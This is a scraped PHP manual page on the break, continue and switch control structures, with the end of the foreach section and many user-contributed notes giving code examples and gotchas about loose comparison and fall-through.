Alright, now, what error was produced as a result of this?
This one:
"Warning: Cannot use scalar value as array in filename.php on line 69."

I then realized something; the reason for this came from the fact that I used $key, and $value for both of them in the exact same way.

As a response to this, I've developed two ways to fix this:
<?php
//add this to the end of every foreach() you use
unset($key,$value)
?>

OR

Simply use different variables for each one.
simplex 19-Dec-2006 09:12
"As of PHP 5, you can easily modify array's elements by preceding $value with &. This will assign reference instead of copying the value."

There are cases where array_walk or array_map are inadequate (conditional required) or you're just too lazy to write a function and pass values to it for use with array_map...

My solution to foreach for php 4 and 5 to modify values of an array directly:

<?php

$testarr = array("a" => 1, "b" => 2, "c" => 3, "d" => 4);

$testarr_keys = array_keys($testarr);
$testarr_values = array_values($testarr);

for ($i = 0; $i <= count($testarr) - 1; $i++) {
    $testarr[$testarr_keys[$i]] = $testarr_values[$i] * 2;
}

print_r($testarr);
?>
php at electricsurfer dot com 22-Apr-2003 10:33
[Ed Note:  You can also use array_keys() so that you don't have to have the $value_copy variable --alindeman at php.net]

I use the following to modify the original values of the array:

<?php
foreach ($array as $key=>$value_copy)
{
     $value =& $array[$key];
     // ...
     $value = 'New Value';
}
?>


break

(PHP 4, PHP 5)

break ends execution of the current for, foreach, while, do-while or switch structure.

break accepts an optional numeric argument which tells it how many nested enclosing structures are to be broken out of.

<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
while (list(, $val) = each($arr)) {
    if ($val == 'stop') {
        break;    /* You could also write 'break 1;' here. */
    }
    echo "$val<br />\n";
}

/* Using the optional argument. */

$i = 0;
while (++$i) {
    switch ($i) {
    case 5:
        echo "At 5<br />\n";
        break 1;  /* Exit only the switch. */
    case 10:
        echo "At 10; quitting<br />\n";
        break 2;  /* Exit the switch and the while. */
    default:
        break;
    }
}
?>

Changelog for break
Version | Description
5.4.0 | break 0; is no longer valid. In previous versions it was interpreted the same as break 1;.
5.4.0 | Removed the ability to pass in variables (e.g., $num = 2; break $num;) as the numerical argument.

User Contributed Notes

steve at electricpocket dot com 16-Jun-2012 09:32
A break statement that is in the outer part of a program (e.g. not in a control loop) will end the script. This caught me out when I mistakenly had a break in an if statement

i.e.

<?php
echo "hello";
if (true) break;
echo " world";
?>

will only show "hello"
RK 17-Dec-2010 01:09
If the numerical argument is higher than the number of things which can be broken out of, it seems to me like the execution of the entire program is stopped.
My program had 8 nested loops. Didn't bother counting them, but wrote: break 10. - Result: Code following the loops was not processed.
Miguel Cruz 15-Apr-2009 09:37
To make it very clear, if you use "break" with no numerical argument, that's the same as doing "break 1".

"break 0", while allowed, does nothing.
Anonymous 14-Aug-2008 06:54
The previous note has a somewhat stupid author: why didn't you put an example?

If I got it right, "case"s in "switch"es always need a "break".
So this switch ...

<?php
switch ( $i ) {
  case '1': // Works
    echo "$i=1";
    break;
  case '2': // Works
    require( 'include1.inc' );
    break;
  case '3': // Doesn't work
    require( 'include2.inc' );
    break;
  case '4': // Doesn't work, same reason
    require( 'include2.inc' );
  default: // Works
    echo "$i";
}
?>

... has a problem in case "4" in that it doesn't have a "break" and this file...

include2.inc:
<?php
  echo "$i";
  break;
?>

... has a problem in that it has a "break" that is not in a "control structure" (like while, for...).

In the same way, although "include2.inc" is "include"d (obvioulsy) in the <?php ?> script (of main.php), it still need another <?php ?> to wrap its content.

Likewise,

main.php
<?php
echo "<div>This div is generated by php</div>\n";
include 'file.php'; ?>
echo "<div>This div is also generated by php</div>\n";

file.php:
<div>This is an old static HTML div.</div>

... doesn't require "file.php" content to start with "?>" (exit php) and end with "<?php" (go back to line 3 of main.php). This would FAIL.

(See strange structure ALWAYS fail"?>!)

Does this really need documentation?
Anonymous 11-Aug-2008 08:43
Your break doesn't work because it isn't within a control structure.  I use includes that have breaks and they work fine because they are in a control structure (foreach, while, etc.)
cb 08-Jul-2008 12:01
Just to note: break doesn't work within included file, results in fatal error.

main.php:
<?php
switch ( $i )
{
  case '1': // Works
    echo "$i";
    break;
  case '2': // Works
    require( 'include1.inc' );
    break;
  case '3': // Doesn't work
    require( 'include2.inc' );
    break;
  case '4': // Doesn't work, same reason
    require( 'include2.inc' );
  default: // Works
    echo "$i";
}
?>

include1.inc:
<?php
  echo "$i";
?>

include2.inc:
<?php
  echo "$i";
  break;
?>

I didn't find this documented anywhere.
alan at synergymx dot com 15-Apr-2008 09:06
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.
$limit // number of files you want to return

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2; // Only get 2 files

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
Gautam 22-Aug-2007 11:53
<?php
/*
break :break command exits the innermost loop construct which contains it.
break ends execution of the current for, foreach, while, do-while or switch structure.
break accepts an optional numeric argument which tells it how many nested enclosing structures are to be broken out of.

You can view various output by changing comparision operator(<,==,>) or value of $limit
*/
$to_square_root=65536;
$i=1;
$limit=4;
while (true) {
$square_root=sqrt($to_square_root);
echo "Square Root of $to_square_root is $square_root.<BR>";
$to_square_root=$square_root;
$i=$i+1;
if ($i>$limit) // if ($i<$limit) is used, loop breaks on very first execution
break;
}
$loop=$i-1;
echo "This loop is executes for $loop times.";
/* Above codes produces following output in browser
Square Root of 65536 is 256
Square Root of 256 is 16
Square Root of 16 is 4
Square Root of 4 is 2
This loop is executes for 4 times
*/
?>
pinkgothic at gmail dot com 22-Jun-2007 01:10
To add to the responses given to "vlad at vlad dot neosurge dot net" - I'd like to note the lack of automatic breaking in 'default' can be a very good thing. Consider this useful snippet:

<?php

switch((string) $_REQUEST['mode']) {
  default:
     $_REQUEST['mode'] = "search";
     // fall through...
  case 'search' :
  case 'list' :
  case 'add' :
  case 'edit' :
     require(dirname(__FILE__)."/incs/".$_REQUEST['mode'].".php");
     break;
}

?>

I personally find that far easier to look at than, for example:

<?php

$valid_modes = array('search','list','add','edit');
if (in_array($_REQUEST['mode'],$valid_modes)) {
     require(dirname(__FILE__)."/incs/".$_REQUEST['mode'].".php");
} else {
     require(dirname(__FILE__)."/incs/search.php");
}

?>

...and it even has the added benefit that the switch() variant only has one require() statement, which makes for easier maintenance, e.g. if the directory changes, or what-have-you.

(Consider the above pseudocode, please, it's not tested - it's code illustrating a point only.)
vinyanov at poczta dot onet dot pl 05-May-2007 02:36
Note that the break argument accepts any expression, including a function result. So you may want to dynamically choose the loop level to break from:

<?php

// the print() function returns 1

function icarus()
{
    while(print('sea level, '))
        while(print('through the clouds, '))
            while(print('close the Sun - '))
                break rand(print('FEATHERS LOSS! - '), 3);

    print('no feathers remaining.');
}

icarus();

?>
18-Jan-2007 03:12
If you wonder how to end execution of a function (as I did), it's that simple: return

function foo($a) {
 if(!$a) return;
 echo 'true';
 // some other code
}

foo(true) will echo 'true', foo(false) won't echo anything (as return ends execution of the function. Of course, therefore there is no need for 'else' before 'echo').
clean_code at is_good_code dot com 08-Nov-2006 09:07
"Just an insignificant side not: Like in C/C++, it's not necessary to break out of the default part of a switch statement in PHP."

--Yes it is, it's just that traditionally default: is the last entry of a switch and so nothing happens after.

-If it was, for whatever reason, not the last entry the script would bawk, there is no implicit break; associated with switch.
traxer at gmx dot net 30-Dec-2005 03:53
vlad at vlad dot neosurge dot net wrote on 04-Jan-2003 04:21

> Just an insignificant side not: Like in C/C++, it's not
> necessary to break out of the default part of a switch
> statement in PHP.

It's not necessary to break out of any case of a switch  statement in PHP, but if you want only one case to be executed, you have do break out of it (even out of the default case).

Consider this:

<?php
$a = 'Apple';
switch ($a) {
    default:
        echo '$a is not an orange<br>';
    case 'Orange':
        echo '$a is an orange';
}
?>

This prints (in PHP 5.0.4 on MS-Windows):
$a is not an orange
$a is an orange

Note that the PHP documentation does not state the default part must be the last case statement.
Ilene Jones 21-Feb-2005 10:08
For Perl or C programmers...

break is equivelant to last

while(false ! == ($site = $d->read()) ) {
  if ($site === 'this') {
     break;  // in perl this could be last;
  }
}


continue

(PHP 4, PHP 5)

continue is used within looping structures to skip the rest of the current loop iteration and continue execution at the condition evaluation and then the beginning of the next iteration.

Note: Note that in PHP the switch statement is considered a looping structure for the purposes of continue.

continue accepts an optional numeric argument which tells it how many levels of enclosing loops it should skip to the end of. The default value is 1, thus skipping to the end of the current loop.

<?php
while (list($key, $value) = each($arr)) {
    if (!($key % 2)) { // skip odd members
        continue;
    }
    do_something_odd($value);
}

$i = 0;
while ($i++ < 5) {
    echo "Outer<br />\n";
    while (1) {
        echo "Middle<br />\n";
        while (1) {
            echo "Inner<br />\n";
            continue 3;
        }
        echo "This never gets output.<br />\n";
    }
    echo "Neither does this.<br />\n";
}
?>

Omitting the semicolon after continue can lead to confusion. Here's an example of what you shouldn't do.

<?php
for ($i = 0; $i < 5; ++$i) {
    if ($i == 2)
        continue
    print "$i\n";
}
?>

One can expect the result to be:

0
1
3
4

but this script will output:

2

because the entire continue print "$i\n"; is evaluated as a single expression, and so print is called only when $i == 2 is true. (The return value of print is passed to continue as the numeric argument.)

Changelog for continue
Version | Description
5.4.0 | continue 0; is no longer valid. In previous versions it was interpreted the same as continue 1;.
5.4.0 | Removed the ability to pass in variables (e.g., $num = 2; continue $num;) as the numerical argument.

User Contributed Notes

John 13-Mar-2014 11:49
<?php

echo"\n";
echo"\n";

    for ( $i = 0; $i < 5; $i++ ) {

        switch ($i)
        {

            case 0:
                echo $i . "b";
                continue;
                echo $i . "a";
            case 1:
                echo $i . "b";
                continue 2;
                echo $i . "a";
            case 2:
                echo $i . "b";
                break;
                echo $i . "a";
            case 3:
                echo $i . "b";
                break 2;
                echo $i . "a";
            case 4:
                echo $i;

        }

        echo 9;

    }

echo"\n";
echo"\n";

?>

This results in: 0b91b2b93b

It goes to show that in a switch statement break and continue are the same. But in loops break stops the loop completely and continue just stops executing the current iterations code and moves onto the next loop iteration.
Koen 21-Dec-2012 09:26
If you use a incrementing value in your loop, be sure to increment it before calling continue; or you might get an infinite loop.
maik penz 04-Jun-2012 06:12
Please note that with PHP 5.4 continue 0; will fail with

PHP Fatal error:  'continue' operator accepts only positive numbers

(same is true for break).
Anonymous 25-Jul-2011 06:22
<?php
function print_primes_between($x,$y)
{
    for($i=$x;$i<=$y;$i++)
   {
        for($j= 2; $j < $i; $j++)  if($i%$j==0) continue 2;
        echo $i.",";
   }
}
?>

This function, using continue syntax, is to print prime numbers between given numbers, x and y.
For example, print_primes_between(10,20) will output:

11,13,17,19,23,29,
skippychalmers at gmail dot com 17-May-2011 02:56
To state the obvious, it should be noted, that the optional param defaults to 1 (effectively).
rjsteinert.com 27-Feb-2011 06:22
The most basic example that print "13", skipping over 2.

<?php
$arr = array(1, 2, 3);
foreach($arr as $number) {
  if($number == 2) {
    continue;
  }
  print $number;
}
?>
jaimthorn at yahoo dot com 24-Mar-2010 03:36
The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is:

<?php

    for( $i = 0; $i < 3; ++ $i )
    {
        echo ' [', $i, '] ';
        switch( $i )
        {
            case 0: echo 'zero'; break;
            case 1: echo 'one' ; XXXX;
            case 2: echo 'two' ; break;
        }
        echo ' <' , $i, '> ';
    }

?>

For XXXX I filled in

- continue 1
- continue 2
- break 1
- break 2

and observed the different results.  This made me come up with the following one-liner that describes the difference between break and continue:

continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket.

Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement.  In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement.

In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied.
Nikolay Ermolenko 16-Apr-2009 02:58
Using continue and break:

<?php
$stack = array('first', 'second', 'third', 'fourth', 'fifth');

foreach($stack AS $v){
    if($v == 'second')continue;
    if($v == 'fourth')break;
    echo $v.'<br>';
}
/*

first
third

*/

$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
    if($v == 'second')continue;
    if($k == 'three')continue;
    if($v == 'fifth')break;
    echo $k.' ::: '.$v.'<br>';
}
/*

one ::: first
four ::: fourth

*/

?>
Anonymous 12-Sep-2008 07:04
The continue keyword can skip division by zero:
<?php
$i = 100;
while ($i > -100)
{
    $i--;
    if ($i == 0)
    {
        continue;
    }
    echo (200 / $i) . "<br />";
}
?>
Geekman 28-Dec-2007 02:01
For clarification, here are some examples of continue used in a while/do-while loop, showing that it has no effect on the conditional evaluation element.

<?php
// Outputs "1 ".
$i = 0;
while ($i == 0) {
    $i++;
    echo "$i ";
    if ($i == 1) continue;
}

// Outputs "1 2 ".
$i = 0;
do {
    $i++;
    echo "$i ";
    if ($i == 2) continue;
} while ($i == 1);
?>

Both code snippets would behave exactly the same without continue.
tufan dot oezduman at gmail dot com 21-Dec-2006 01:28
a possible explanation for the behavior of continue in included scripts mentioned by greg and dedlfix above may be the following line of the "return" documentation: "If the current script file was include()ed or require()ed, then control is passed back to the calling file."
The example of greg produces an error since page2.php does not contain any loop-operations.

So the only way to give the control back to the loop-operation  in page1.php would be a return.
szrrya at yahoo dot com 17-Jul-2006 11:18
Documentation states:

"continue is used within looping structures to skip the rest of the current loop iteration"

Current functionality treats switch structures as looping in regards to continue.  It has the same effect as break.

The following code is an example:

<?php
for ($i1 = 0; $i1 < 2; $i1++) {
  // Loop 1.
  for ($i2 = 0; $i2 < 2; $i2++) {
    // Loop 2.
    switch ($i2 % 2) {
      case 0:
        continue;
        break;
    }
    print '[' . $i2 . ']<br>';
  }
  print $i1 . '<br>';
}
?>

This outputs the following:
[0]
[1]
0
[0]
[1]
1

Switch is documented as a block of if...elseif... statements, so you might expect the following output:
[1]
0
[1]
1

This output requires you to either change the switch to an if or use the numerical argument and treat the switch as one loop.
Rene 18-Feb-2006 09:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com 25-Dec-2005 06:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
    tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

    for($j=0;$j<2;$j++)
    {//Second loop

      for($i=0;$i<4;$i++)
      {//Third loop
    if($i>2)
    continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
    echo "$i\n";
       }

    }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint 28-Jan-2005 03:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv 14-Jan-2005 05:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
    include('page2.php');
}

//page2.php

if($x==5)
    continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com 11-May-2004 05:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
    for ($i = 0;$i<3;$i++) {
        echo "Start Of I loop\n";
        for ($j=0;;$j++) {

            if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
            echo "I : $i J : $j"."\n";
        }
        echo "End\n";
    }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.


switch

(PHP 4, PHP 5)

The switch statement is similar to a series of IF statements on the same expression. In many occasions, you may want to compare the same variable (or expression) with many different values, and execute a different piece of code depending on which value it equals to. This is exactly what the switch statement is for.

Note: Note that unlike some other languages, the continue statement applies to switch and acts similar to break. If you have a switch inside a loop and wish to continue to the next iteration of the outer loop, use continue 2.

Note:

Note that switch/case does loose comparison.

The following two examples are two different ways to write the same thing, one using a series of if and elseif statements, and the other using the switch statement:

Example #1 switch structure

<?php
if ($i == 0) {
    echo "i equals 0";
} elseif ($i == 1) {
    echo "i equals 1";
} elseif ($i == 2) {
    echo "i equals 2";
}

switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
}
?>

Example #2 switch structure allows usage of strings

<?php
switch ($i) {
    case "apple":
        echo "i is apple";
        break;
    case "bar":
        echo "i is bar";
        break;
    case "cake":
        echo "i is cake";
        break;
}
?>

It is important to understand how the switch statement is executed in order to avoid mistakes. The switch statement executes line by line (actually, statement by statement). In the beginning, no code is executed. Only when a case statement is found with a value that matches the value of the switch expression does PHP begin to execute the statements. PHP continues to execute the statements until the end of the switch block, or the first time it sees a break statement. If you don't write a break statement at the end of a case's statement list, PHP will go on executing the statements of the following case. For example:

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
    case 1:
        echo "i equals 1";
    case 2:
        echo "i equals 2";
}
?>

Here, if $i is equal to 0, PHP would execute all of the echo statements! If $i is equal to 1, PHP would execute the last two echo statements. You would get the expected behavior ('i equals 2' would be displayed) only if $i is equal to 2. Thus, it is important not to forget break statements (even though you may want to avoid supplying them on purpose under certain circumstances).

In a switch statement, the condition is evaluated only once and the result is compared to each case statement. In an elseif statement, the condition is evaluated again. If your condition is more complicated than a simple compare and/or is in a tight loop, a switch may be faster.

The statement list for a case can also be empty, which simply passes control into the statement list for the next case.

<?php
switch ($i) {
case 0:
case 1:
case 2:
    echo "i is less than 3 but not negative";
    break;
case 3:
    echo "i is 3";
}
?>

A special case is the default case. This case matches anything that wasn't matched by the other cases. For example:

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
       echo "i is not equal to 0, 1 or 2";
}
?>

The case expression may be any expression that evaluates to a simple type, that is, integer or floating-point numbers and strings. Arrays or objects cannot be used here unless they are dereferenced to a simple type.

The alternative syntax for control structures is supported with switches. For more information, see Alternative syntax for control structures.

<?php
switch ($i):
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
        echo "i is not equal to 0, 1 or 2";
endswitch;
?>

It's possible to use a semicolon instead of a colon after a case like:

<?php
switch($beer)
{
    case 'tuborg';
    case 'carlsberg';
    case 'heineken';
        echo 'Good choice';
    break;
    default;
        echo 'Please make a new selection...';
    break;
}
?>

User Contributed Notes

druellan at sfidastudios dot com 22-Jul-2014 06:27
Be careful if you have mixed types of values in the switch statement. Explicitly cast your variables where possible to avoid mismatch:

<?php
$var = 0;

// This match case #1
// switch ( $var )

// This works as expected
switch ( (string)$var )
{
  case "0string":
    echo "0string match";
    break;
}
?>
Gutza 01-Feb-2014 07:05
Sometimes you need to execute a common piece of code for several cases, and then execute some special code for each of those cases in particular. You'd then be tempted to duplicate "case" entries, like so:

<?php

$health = 50;
$prevActionType = "none";

$action = "kill";

switch($action) {

case "heal":
  $prevActionType = "good";
  $health += 10;
  break;

case "hurt":
case "kill":
  $prevActionType = "bad";
  break;

case "hurt":
  $health -= 10;
  break;

case "kill":
  $health = 0;
  break;

}

?>

That won't work as intended -- you'll enter at the first case that matches ($prevActionType = "bad") and then exit the switch altogether.
MaxTheDragon at home dot nl 14-Jun-2012 11:29
This is listed in the documentation above, but it's a bit tucked away between the paragraphs. The difference between a series of if statements and the switch statement is that the expression you're comparing with, is evaluated only once in a switch statement. I think this fact needs a little bit more attention, so here's an example:

<?php
$a = 0;

if(++$a == 3) echo 3;
elseif(++$a == 2) echo 2;
elseif(++$a == 1) echo 1;
else echo "No match!";

// Outputs: 2

$a = 0;

switch(++$a) {
    case 3: echo 3; break;
    case 2: echo 2; break;
    case 1: echo 1; break;
    default: echo "No match!"; break;
}

// Outputs: 1
?>

It is therefore perfectly safe to do:

<?php
switch(winNobelPrizeStartingFromBirth()) {
case "peace": echo "You won the Nobel Peace Prize!"; break;
case "physics": echo "You won the Nobel Prize in Physics!"; break;
case "chemistry": echo "You won the Nobel Prize in Chemistry!"; break;
case "medicine": echo "You won the Nobel Prize in Medicine!"; break;
case "literature": echo "You won the Nobel Prize in Literature!"; break;
default: echo "You bought a rusty iron medal from a shady guy who insists it's a Nobel Prize..."; break;
}
?>

without having to worry about the function being re-evaluated for every case. There's no need to preemptively save the result in a variable either.
Anonymous 27-Mar-2012 08:34
Switch usage for make some actions with all of cases

<?php
$out = ' ';
for ($i=1;$i<10:$i++) {
   switch ($i) {
      case true: $out .= 'test_';
      case 1:
      case 2:
      case 3: $out .= $i;
      default: $out .= ' ';
   }
}
echo $out;
?>

That sample out:

" test_1 test_2 test_3 "
Anonymous 16-Feb-2012 03:29
Regarding [php_net at mcdragonsoftware dot com 17-Jun-2011 09:53]; the elegant function and syntax provided for an "inline switch" statement is more readable and about 25% faster than this alternative (that uses existing builtin functions), which produces the same result:

<?php echo array_pop(array_slice(array( 'rock', 'paper', 'scissors' ), --$roll, 1)); ?>
Anonymous 15-Feb-2012 06:39
Rewriting the function (to be three times faster) provided by [stever at ashomecare dot com 07-Sep-2007 09:11] and demonstrating points that others have made:

<?php
function getChineseZodiac($year){

    switch ($year % 12) :
        case  0: return 'Monkey';  // Years 0, 12, 1200, 2004...
        case  1: return 'Rooster';
        case  2: return 'Dog';
        case  3: return 'Boar';
        case  4: return 'Rat';
        case  5: return 'Ox';
        case  6: return 'Tiger';
        case  7: return 'Rabit';
        case  8: return 'Dragon';
        case  9: return 'Snake';
        case 10: return 'Horse';
        case 11: return 'Lamb';
    endswitch;
}

echo getChineseZodiac(2016);
?>
Bas Vijfwinkel 29-Jul-2011 03:03
If you want to avoid problems with loose comparison and strings in case statements (0 matching the first string case), you can use an explicit string cast in the switch statement:

switch((string)$switchkey) {...}

If $switchkey is 0 then the switch statement will either jump to the 'default' case or execute nothing at all (if there is no 'default' case present).

<?php

$switchkey = 0;

if('a string' == $switchkey) echo 'a string is 0' . PHP_EOL;
if('a string' === $switchkey) echo 'but you will never see this' . PHP_EOL;

switch($switchkey)
{
    case 'a string': echo 'switch string test without explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'switch string test without explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default: echo 'switch string test without explicit cast: default :'.$switchkey.' is somethign else (this is the correct choice)' . PHP_EOL;break;
}
switch((string)$switchkey)
{
    case 'a string': echo 'switch string test with explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'switch string test with explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default: echo 'switch string test with explicit cast: default :'.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}

$switchkey = true;

if('a string' == $switchkey) echo 'a string is TRUE' . PHP_EOL;
if('a string' === $switchkey) echo 'but you will never see this' . PHP_EOL;

switch($switchkey)
{
    case 'a string': echo 'Switch boolean test without explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'Switch boolean test without explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default : echo 'Switch boolean test : default without explicit cast: '.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}
switch((string)$switchkey)
{
    case 'a string': echo 'Switch boolean test with explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'Switch boolean test with explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default : echo 'Switch boolean test  with explicit cast: default:s '.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}

?>

The script will output :

a string is 0
switch string test without explicit cast:0 is a string (this is not what we want to see)
switch string test with explicit cast: default :0 is something else (this is the correct choice)
a string is TRUE
Switch boolean test without explicit cast:1 is a string (this is not what we want to see)
Switch boolean test with explicit cast: default:s 1 is something else (this is the correct choice)
theimp at iinet dot net dot au 02-Jun-2010 10:04
It's easy to abuse the switch syntax to do some very useful things. As this example will show, the possibilities can go beyond even Duff's Device-style craziness (not that this example is nearly as clever as Duff's Device, but it demonstrates how you can do certain things other than simply the increment/decrement/assignment that's possible in C).

Fundamentally, this works mostly due to the fact that, from the point of view of the assembler/interpreter, a switch block is hardly any different from a bunch of GOTO labels and  if()  evaluations. But, like an  if() evaluation, the line of a case: statement is evaluated as an expression. So, in this case, we can perform an assignment and match the result of that assignment, because the return value of an assignment is the data that was assigned (and not the value of the variable it was assigned to, as you might expect).

So far, this is not actually amazing, even if it is a bit unintuitive. From a language point-of-view, it would be the same as an  if($var = "string")  statement which is using an assignment (=) rather than a comparison (==) operator. When you look at the pre-processing optimization, because a normal assignment of $var = "string" will always equal "string", it makes sense to have the result of that expression simply be equal to the right side of the expression (the right side is used rather than the left to let the assembler/interpreter work faster, on account of how they traditionally simply change the memory location for the assigned variable rather than copy the memory around unnecessarily).

Where this becomes more interesting is where, in PHP, you have language constructs that behave like functions but are used like statements. An  $array[] = "string"  expression is actually a language construct that just happens to behave a lot like a function, but you use it in the same way that you use an assignment expression, and like an expression, it always evaluates to the right side of the expression; in this case,  "string"  and not  array() .

The assembler/interpreter can't use the right side of the expression as a shortcut for the result of a function, so you can't use functions in this way in a case statement. You also can't get around this limit on calling functions from the case line by using variable functions, because they are used in the same way as functions.

But imagine what you could do with other language constructs, like eval() or include() !

Consider the following:

<?php
function flavor($type = null)
{
    switch ($type) {
        /* Note the isolation of break; statements and the fact that default: is at the top */
        default:
            $type = null;
        case $array[] = "chocolate":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "strawberry":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "vanilla":
            if ($type != null) {
                $array = array($type);
                break;
            }
    }
    if ( (count($array) != 1) ) {
        return "Flavors available: " . implode(", ", $array);
    } else {
        return "Flavor selected: " . implode(", ", $array);
    }
}

echo flavor() . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("banana") . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("chocolate") . "<br>";
/* Flavor selected: chocolate */
?>

What makes this example useful is that you don't need a variable somewhere that contains the available options (even within the function itself), so to support new options, you only ever have to change the code to add the new option - you don't need to update some variable somewhere that controls whether or not it works or whether or not people can tell that there's a new option.
mr at bwsolution dot de 11-May-2010 11:29
"loose comparison" means that switch won't check the type.
switch will only compare values:
<?php
if('a string' == 0) echo 'a string is 0' . PHP_EOL;
if('a string' === 0) echo 'but you will never see this' . PHP_EOL;
switch(0){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}

if('a string' == true) echo 'a string is TRUE' . PHP_EOL;
if('a string' === true) echo 'but you will never see this' . PHP_EOL;
switch(true){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}
?>

will output:
a string is 0
a string
another string
a string is TRUE
a string
another string
hackajar yahoo com 02-Apr-2010 12:21
Apparently you need to be extra careful with "0" (zero) in your case statements when mixing int and string values:

switch($key) {
     case 0: echo "only if I am zero";break;
     case 1: echo "I'm one";break;
     case "E1": echo "Why don't you output me?";break;
     default: echo "No value Found";
}

Switch will be convinced that you mean "0" when you really mean "E1" unless you wrap it in quotes:

switch($key) {
     case '0': echo "only if I am zero";break;
     case 1: echo "I'm one";break;
     case "E1":echo "Yay! I'm back!";break;
     default: echo "No value Found";
}

Maybe this is what they mean by "loose comparison" with True, False operators?
lchanady at gmail dot com 27-Jan-2010 06:56
Something fairly simple (and maybe obvious) that I didn't see mentioned is that the default case WILL be executed even if the switched variable does not exist or is undefined.

For example:

<?php

$a = "abc";
$b = "def";

switch($c){
    case "a":
        echo "a";
        break;
    case "b":
        echo "b";
        break;
    default:
        echo "default";
        break;
}

?>

Will output: default

Even though $c was never declared or defined, the default case will still be executed rather than PHP throwing an error.
